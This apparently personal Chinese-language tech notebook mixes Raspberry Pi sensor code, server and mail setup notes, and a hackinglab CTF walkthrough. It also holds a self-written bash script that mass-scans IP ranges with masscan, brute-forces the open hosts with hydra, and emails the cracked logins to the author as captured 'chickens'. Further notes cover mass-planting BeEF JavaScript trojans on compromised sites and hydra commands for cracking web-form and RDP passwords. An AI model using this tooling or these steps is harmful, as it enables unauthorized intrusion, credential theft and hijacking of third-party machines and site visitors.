树莓派如果默认开机不启动vnc或者ssh的话,打开raspi-conf调就行

树莓派2GPIO口对应(绿色为电路板区域)

树莓派使用温度传感器DHT11测温.py:

#!/usr/bin/python
import RPi.GPIO as GPIO
import time

channel =4 //GPIO4
data = []
j = 0

GPIO.setmode(GPIO.BCM)

time.sleep(1)

GPIO.setup(channel, GPIO.OUT)
GPIO.output(channel, GPIO.LOW)
time.sleep(0.02)
GPIO.output(channel, GPIO.HIGH)
GPIO.setup(channel, GPIO.IN)

while GPIO.input(channel) == GPIO.LOW:
  continue
while GPIO.input(channel) == GPIO.HIGH:
  continue

while j < 40:
  k = 0
  while GPIO.input(channel) == GPIO.LOW:
    continue
  while GPIO.input(channel) == GPIO.HIGH:
    k += 1
    if k > 100:
      break
  if k < 8:
    data.append(0)
  else:
    data.append(1)

  j += 1

print "sensor is working."
print data

humidity_bit = data[0:8]
humidity_point_bit = data[8:16]
temperature_bit = data[16:24]
temperature_point_bit = data[24:32]
check_bit = data[32:40]

humidity = 0
humidity_point = 0
temperature = 0
temperature_point = 0
check = 0

for i in range(8):
  humidity += humidity_bit[i] * 2 ** (7-i)
  humidity_point += humidity_point_bit[i] * 2 ** (7-i)
  temperature += temperature_bit[i] * 2 ** (7-i)
  temperature_point += temperature_point_bit[i] * 2 ** (7-i)
  check += check_bit[i] * 2 ** (7-i)

tmp = humidity + humidity_point + temperature + temperature_point

if check == tmp:
  print "temperature :", temperature, "*C, humidity :", humidity, "%"
else:
  print "wrong"
  print "temperature :", temperature, "*C, humidity :", humidity, "% check :", check, ", tmp :", tmp

GPIO.cleanup()

#!/usr/bin/python  
#-*- coding: utf-8 -*-  
import time  
import RPi.GPIO as GPIO  
GPIO.setmode(GPIO.BCM) #使用BCM编码方式  
#定义引脚  
GPIO_TRIGGER = 23  
GPIO_ECHO    = 24  
#设置引脚为输入和输出  
GPIO.setwarnings(False)  
GPIO.setup(GPIO_TRIGGER,GPIO.OUT)  # Trigger  
GPIO.setup(GPIO_ECHO,GPIO.IN)      # Echo  
  
def dis():  #测距函数  
    GPIO.output(GPIO_TRIGGER, False) #设置trigger为低电平  
    time.sleep(0.5)  
    GPIO.output(GPIO_TRIGGER, True) #设置trigger为高电平  
    time.sleep(0.00001)  
    GPIO.output(GPIO_TRIGGER, False)  
    start = time.time()  #记录发射超声波开始时间  
  
    while GPIO.input(GPIO_ECHO)==0:  
        start = time.time()  
  
    while GPIO.input(GPIO_ECHO)==1:  
        stop = time.time()  #记录接收到超声波时间  
      
    elapsed = stop-start   #计算一共花费多长时间  
    distance = elapsed * 34300  #计算距离,就是时间乘以声速  
    distance = distance / 2  #除以2得到一次的距离而不是来回的距离  
    print "Distance : %.1fcm" % distance  
  
try:  #用于捕捉异常  
        while True:  
                dis()   #调用测距函数  
                time.sleep(0.5)  
except KeyboardInterrupt:  
        GPIO.cleanup()  

自己写的脚本,指定好参数后,massscan自动扫描开放端口的ip地址并保存,然后hydra批量字典破解,破解完后将结果文件打包发送邮件到指定邮箱

<br />

#!/bin/bash

Title=""
Message="Over"


target_scan="targets/scan"
target_rslt="targets/rslt"
ip=${1}
port=${2}
server=${3}
user_dic=${4}
pass_dic=${5}

mail="**你的邮箱地址@qq.com"
scan_name=${ip%/*}"_"${port}".scan"
rslt_name=${ip%/*}"_"${port}".rslt"

if [ ! -d "targets" ]
then
    mkdir "targets"
fi

if [ ! -d ${target_scan}"/"${port} ]
then
    if [ ! -d ${target_scan} ]
    then
        mkdir ${target_scan}
    fi
    mkdir ${target_scan}"/"${port}
fi

if [ ! -d ${target_rslt}"/"${port} ]
then
        if [ ! -d ${target_rslt} ]
        then
                mkdir ${target_rslt}
        fi
    mkdir ${target_rslt}"/"${port}
fi

Scan="masscan -p "${port}" --range "${ip}" -oL "${target_scan}"/"${port}"/"${scan_name}
Burp="hydra "${server}"  -M "${target_scan}"/"${port}"/"${scan_name}".ip -L "${user_dic}" -P "${pass_dic}" -V -o "${target_rslt}"/"${port}"/"${rslt_name}

echo "Start scanning:"
echo ${Scan}
${Scan}

declare -i s_count
s_count=`cat ${target_scan}"/"${port}"/"${scan_name} |grep -c -v "#"`

if [ $s_count == 0 ]
then
    Title=${ip}":"${port}"无端口开放"
    Message="Failed"
    echo ${Message}" "${Title}
    echo ${Message} | mutt -s ${Title} ${mail}
    exit -1
else
    if [ ! -d ${target_rslt}"/"${port} ]
    then
            mkdir ${target_rslt}"/"${port}
    fi

    echo "Dealing....."
    cat ${target_scan}"/"${port}"/"${scan_name} | grep "open" | awk {'print $4'} | awk  {'print $1'} > ${target_scan}"/"${port}"/"${scan_name}".ip"
    echo "Burping:"
    echo ${Burp}
    ${Burp}
    if [ ! -f ${target_rslt}"/"${port}"/"${rslt_name} ]
    then
        Title=${ip}":"${port}"爆破失败"
        Message="扫到"${s_count}"个,一个都没能破解"
            echo ${Message}" "${Title}
            echo ${Message} | mutt -s ${Title} `echo ${mail}`
        exit -1
    else
        declare -i c_count
        c_count=0
        echo ${Title}
        c_count=`cat ${target_rslt}"/"${port}"/"${rslt_name} |grep -c -v "#"`
        if [ ${c_count} != 0 ]
        then
            Title=${ip}":"${port}"抓鸡成功!"
            else
            Title=${ip}":"${port}"没抓到鸡!"
        fi
        Message="扫描:"${s_count}"  抓到:"${c_count}"只鸡!"
        echo ${Message}" "${Title}
            echo ${Message} | mutt -s ${Title} ${mail} -a ${target_rslt}"/"${port}"/"${rslt_name}
        exit 0
    fi
fi

个人电脑1—|
个人电脑2—|—->中继服务器10.10.3.2—->Shadowsocks服务器
个人电脑3—|

在中继服务器上进行配置:
先安装privoxy,然后编辑配置/etc/privoxy/config

#转发地址
forward-socks5   /               127.0.0.1:1080 .
#监听地址
listen-address  0.0.0.0:8118
#local network do not use proxy
forward         192.168.*.*/     .
forward            10.*.*.*/     .
forward           127.*.*.*/     .
****

然后开始privoxy服务
个人电脑配置代理为10.10.3.2:8118

使用的是debian

首先加入kali源

deb http://http.kali.org/kali kali-rolling main non-free contrib

更新可能会出现没有公钥,去“Linux常用操作”文章里搜

然后安装msf和beef

在肉鸡站(或者你自己的站)批量挂马

如果打不开,安装w3m

然后连接你服务器的3000端口,/ui/panel就可以了,新的功能还没试,原理搞清了

就是用<script src=”你的js木马文件”></script>加载你服务端的马

/usr/share/beef-xss/beef
[13:24:43][!] Unable to load extension 'xssrays'
[13:24:43][!] Unable to load extension 'admin_ui'
[13:24:43][!] Unable to load extension 'network'
[13:24:43][!] Unable to load extension 'events'
[13:24:43][!] Unable to load extension 'autoloader'
[13:24:43][!] Unable to load extension 'requester'
[13:24:43][!] Unable to load extension 'dns'
[13:24:43][!] Unable to load extension 'demos'
[13:24:43][!] Unable to load extension 'ipec'
[13:24:43][!] Unable to load extension 'social_engineering'
[13:24:43][!] Unable to load extension 'proxy'
[13:24:43][!] Unable to load extension 'console'
cd /usr/share/beef 
./beef -x

If you configure a password,try to restart msfconsole

首先安装postfix和postfixadmin

然后上http   /postfixadmin/setup.php

输入setup密码,gen到密文,插入config

但是在/var/www/html下没有

找了找发现在/etc/postfixadmin下

根据指示插入保存

然后继续setup

完成后建立域名用户和邮箱

给qq邮箱发信能收到(在垃圾箱

qq发回来收不到

可能是黑名单的问题

然后查看日志/var/log/mail.log

发现reject

大概是因为白名单里没有qq服务器,被过滤了

准备加qq到白名单

然后服务器ssh崩了

原手机没在身上,没法重启服务器

先搞到这吧

后来发现RCPT问题太烦人了,而且网站开这么多端口太危险,还是先用匿名邮箱吧

获得符合grep条件的进程号并杀死

ps -ef | grep pts
kill 查到的pid

这里的ps -ef 是查看所有进程,ps拿出来的用户 进程和pid离得比较近,手机用top看屏幕太窄,有用信息又挤在两边,往往找对应pid找花眼

e 显示所有进程(-e all processes )

f 全格式(-f full)

ps是命令,参数要写在-后面,可以写在一起,如ps -ef,ps -aux等

grep过滤其他关键字也一样,不只是杀死其他用户终端

kali2滚动源

deb http://http.kali.org/kali kali-rolling main non-free contrib


新服开启vsftpd

apt-get install vsftpd
nano /etc/ftpuser
#注释掉root
service vsftpd start

apt-get出现没有公钥

gpg --keyserver pgpkeys.mit.edu --recv-key  ED444FF07D8D0BF6
gpg -a --export ED444FF07D8D0BF6 |  apt-key add -
apt-get update

添加中文支持

dpkg-reconfigure locales

install pip

Install pip and virtualenv for Ubuntu 10.10 Maverick and newer
 
apt-get install python-pip python-dev build-essential 
pip install --upgrade pip 
pip install --upgrade virtualenv 
For older versions of Ubuntu
 
Install Easy Install
apt-get install python-setuptools python-dev build-essential 
Install pip
easy_install pip 
Install virtualenv
pip install --upgrade virtualenv 


apt-get dist-upgrade

mysql_config not found

apt-get install libmysqlclient-dev
wget https://sourceforge.net/projects/mysql-python/files/mysql-python/1.2.3/MySQL-python-1.2.3.tar.gz
tar -xzvf MySQL-python-1.2.3.tar.gz 
cd MySQL-python-1.2.3.tar.gz 
python setup.py install

Metasploit  Bundle Gem

apt-get install ruby
gem install bundle
cd metasploit-framework
bundle install  

/ mkmf.rb can’t find header files for ruby at…

 如果是在centos等系统下面,执行命令:yum  install   ruby-devel 

  如果是在Ubuntu等系统下面,执行命令:apt-get  isntall   ruby-dev  
checking for pg_config... no
No pg_config... trying anyway
apt-get install Postgresql

apt-get install lib[lack_of ***.h]-dev

post方式提交,破解web登录:

<br />

hydra -l admin -P pass.lst -o ok.lst -t 1 -f 127.0.0.1 http-post-form “index.php:name=^USER^&pwd=^PASS^:F=<title>invalido</title>:H=Cookie:.....”
<form action="index.php" method="POST">
<input type="text" name="name" /><BR><br>
<input type="password" name="pwd" /><br><br>
<input type="submit" name="sub" value="提交">
</form>

说明:破解的用户名是admin,密码字典是pass.lst,破解结果保存在ok.lst,-t 是同时线程数为1,-f 是当破解了一个密码就停止,ip 是本地,就是目标ip,http-post-form表示破解是采用http 的post 方式提交的表单密码破解。

后面参数是网页中对应的表单字段的name 属性,后面<title>中的内容是表示错误猜解的返回信息提示,可以自定义。

3389扫爆:

hydra ip rdp -l administrator -P pass.txt -V


import requests #发送request.post脚本
import os
header = {'Cookie': 'PHPSESSID=7700b4d1f9a37e43b5dd61c952eee149'}

url = 'http://xxx.com/xxx.php'
code = '123'
data = {'username': '13388886666', }
r = requests.post(url, data=data, headers=header, timeout=10)
response = r.content.decode('utf-8')
print response

import socket #小服务端脚本    

s=socket.socket() #socket方法有三个参数,都用默认即可

host=socket.gethostname() #在服务端这个方法就是获取自己的主机名
port=1234
s.bind((host,port))  #绑定host:port

s.listen(5)  #只能一个一个连,5表示队列最多5个
while True:
    c,addr=s.accept() #c和addr等于s当前接收的客户端
    print 'Got connection from', addr
    c.send('Thankyouforconnecting')
    c.close()

urlretrieve('http://www.python.org', 'C:\\python_webpage.html') #保存本地脚本
from urllib2 import urlopen #读取页面脚本
webpage = urlopen("http://www.siela.space") #webpage为打开的连接
text = webpage.read() 
#!/usr/bin/env python #分析返回页面数据 并自动计算和发送 脚本
# -*- coding: utf-8 -*- 
# 网上一位大哥的解法
# mathy.py 
# by 0h1in9e weibo@ohlinge
# time:2016/7/14

from requests import *
import re,time

url = "http://lab1.xseclab.com/xss2_0d557e6d2a4ac08b749b61473a075be1/index.php"
s = Session()

r = s.get(url)
l = re.findall(r'
\s+(.*?)=',r.content)[0]
print "需要计算的是 %s = %d\n" % (l,eval(l))

r = s.post(url, data={'v': eval(l)})

print "flag 就藏在下面哦:\n"
print re.findall(r'(.*?)',r.content)[0]
#一个小型服务器

from SocketServer import TCPServer, StreamRequestHandler #如果分叉在这里加上ForkingMinIn, 如果是线程替换为ThreadningMinIn
class Handler(StreamRequestHandler): def handle(self): #如果分叉在上一行和这一行中间加上 class Server(ForkingMinIn, TCPServer):pass
        addr = self.request.getpeername() 
        print 'Got connection from ', addr
        self.wfile.write('Thank you for connecting')

server = TCPServer(('', 1234), Handler) #''表示的是服务器机器名
server.serve_forever()

网络信息安全攻防学习平台

1.基础关

第一题:看源码

第二题:再加密一次得到明文,所使用的是rot-13加密 

        rot-13  :对任何字元x:ROT13(ROT13(x))=ROT26(x)=x

                换句话说,两个连续的ROT13应用函式会回复原始文字(在数学上,这有时称之为对合(involution);在密码学上,这叫做对等加密(reciprocalcipher))。

        

第三题:base64连续解密,网上工具还得复制粘贴,吭哧吭哧花了半个小时写了个shell脚本

    把密文存到文件中        
    输入: 脚本名 文件名 解密次数

    虽然直接出结果的比较帅,这样还得猜,不过这个脚本修改一下就可以变成随意加密指定次数的功能(就是出题人用的脚本)

#!/bin/bash

base=`cat $1`
count=$2
echo $base|base64 -d
while [ $count -gt 0 ]
do
        ((count--))
        base=`echo $base|base64 -d`
        echo -e "\nTimes:"$count
        echo $base|base64 -d
done

第四题:上cmd5破解

第五题:抓包Accept-Language改成en_US之类的就行了,翻墙不管事

第六题:抓包User-Agent改成HAHA

第七题:抓返回的包可以看到Key在返回头里

HTTP/1.1 200 OK
Server: sae
Connection: keep-alive
Date: Mon, 13 Feb 2017 08:17:39 GMT
Content-Type: text/html
Key: kjh%#$#%FDjjj
Via: 1522
X-Daa-Tunnel: hop_count=1
Content-Length: 201

第八题:依然是抓包

    先访问search_key.php

    发现直接用鼠标点会转到 index_no_key.php

    因为设置了302,key你还没看到就跳走了

    抓包在302报文中找到./key_is_here_now_.php

    再去访问此页面

HTTP/1.1 200 OK
Server: sae
Connection: keep-alive
Date: Mon, 13 Feb 2017 08:21:44 GMT
Content-Type: text/html
Via: 1548
X-Daa-Tunnel: hop_count=1
Content-Length: 16

key: ohHTTP302dd

第九题:还是抓包,Burp的repeater是个好东西

    访问后发现返回报文头中有Set-Cookie: Login=0

    那就修改发送头。加入Cookie: Login=1,得到key

        key is: yescookieedit7823789KJ

第十题:html标签设置了最大长度为3,改。这个题再抓包就麻烦了

第十一题:题目失效了,现在直接看源码就行

    应该也是抓包修改

    在请求包中构造一个X-Forwarded-For:127.0.0.1

<?php 
//print_r($_SERVER);
$arr=explode(',',$_SERVER['HTTP_X_FORWARDED_FOR']);
if($arr[0]=='127.0.0.1'){
    //key
    echo "key is ^&*(UIHKJjkadshf";
}else{
	echo "必须从本地访问!";

第十二题:拿御剑扫没扫出来,原来可以在robots.txt里翻翻-,-从此开启了新世界的大门

User-agent: *
Disallow: /
Crawl-delay: 120
Disallow: /9fb97531fe95594603aff7e794ab2f5f/
Sitemap: http://www.hackinglab.sinaapp.com/sitemap.xml

2.脚本关

第一题:抓包得到

<script>window.location="./no_key_is_here_forever.php"; </script>
key is : yougotit_script_now

第二题:不能抓包了,需要用脚本,现在还不会,学学吧

    网上一位大哥的答案:

第三题:null

第四题:源码中有干扰脚本,因为脚本是先加载的,在页面上改掉不管用,刷新的话白改了

    所以把网页下载下来再改就好了

第五题:验证码一直用一个burp破解

第六题:验证码第一次答对后设置为空就好了,依然是burp

第七题:

    摘抄:验证码发布的流程
    1. 显示表单
    2. 显示验证码(调用生成验证码的程序),将验证码加密后放进 session 或者 cookie
    3. 用户提交表单
    4. 核对验证码无误、数据合法后写入数据库完成
    用户如果再发布一条,正常情况下,会再次访问表单页面,验证码图片被动更新, session 和 cookie 也就跟着变了
    但是灌水机操作不一定非要使用表单页面,它可以直接模拟 post 向服务端程序发送数据,这样验证码程序没有被调用,当然 session 和 cookie 存储的加密验证码就是上次的值,也就没有更新,这样以后无限次的通过post直接发送的数据,而不考虑验证码,验证码形同虚设!
    所以,在核对验证码后先将 session 和 cookie 的值清空,然后做数据合法性判断,然后入库!这样,一个漏洞就被补上了!
    仍然可以用上一题的方法,密码正确时响应为key is LJLJLfuckvcodesdf#@sd

第八题:PHP代码,不会,摘抄的

        

第九题:点获取验证码会看你现在的手机号是不是6,所以先改成6获取验证码,再改成7填上验证码提交

第十题:三位数,burp

第十一题:因为没有vcpython所以办不了,就是ocr识别

安装php5.5 mysql-server* php5-mysql apache2

1.源问题

装上debian8自己又加了个kali源(方便下软件),不过kali源和debian8冲突,apt-get 会出现版本不一致现象 

 # apt-get install libpq-dev 
Reading package lists... 
Done Building dependency tree Reading state information... 
Done Some packages could not be installed. 
This may mean that you have requested an impossible situation or if you are using the unstable distribution that some required packages have not yet been created or been moved out of Incoming. 
The following information may help to resolve the situation: 
The following packages have unmet dependencies: libpq-dev: 
        Depends: libpq5 (= 8.4.1-1) but 8.4.4-0ubuntu9.10 is to be installed 
        Depends: libssl-dev but it is not going to be installed Depends: libkrb5-dev but it is not going to be installed 
E: Broken packages

于是删除了自带的debian8源,只留一个kali源,然后apt-get clean && apt-get update

结果装上wp之后出现

您的 PHP 似乎没有安装运行 WordPress 所必需的 MySQL 扩展。

继续安装php5-mysql,发现apt里没有,应该是kali源里没有,所以放弃kali,改回原来的源

更新后又出现问题:

Temporary failure resolving …

这是DNS解析问题,阿里的DNS挂了?

编辑DNS文件,加google的8.8.8.8 解决

echo "nameserver 8.8.8.8" | sudo tee /etc/resolv.conf > /dev/null
apt-get update

2.权限问题

mysql+ftp均是root(黑阔们没洞还是不要强爆了,随机生成的带符号强密码)

wordpress配置好之后提示更新翻译,点更新出现无法创建目录,应该是权限不对

ls一下发现wordpress解压出来权限为nobody:nogroup

百度一下,发现解决方法:

将一个用户添加到用户组中,千万不能直接用: 

usermod -G groupA 

这样做会使你离开其他用户组,仅仅做为 这个用户组 groupA 的成员。 

应该用 加上 -a 选项: 

usermod -a -G groupA user

我就是不听话,建个www用户,不加-a!

然后发现数据库可以连接进去,但是没有权限了,root的读取表的权限都没了

上网继续搜之后发现好像是mysql库文件权限被改了,修改/var/lib/mysql用户和组为mysql:mysql

可以了,然而还是没权限建目录,最后查了一下发现不用建www用户,apache用户直接就是www-data, 修改到www-data + 775,问题解决!

3.代码编辑器问题

wp自带的编辑器没有快捷插入代码,懒得自己修改html,找到一个很好用的插件kindeditor,直接wp里插件安装就可以用了。

readmore插件wp-utf8-excerpt很好用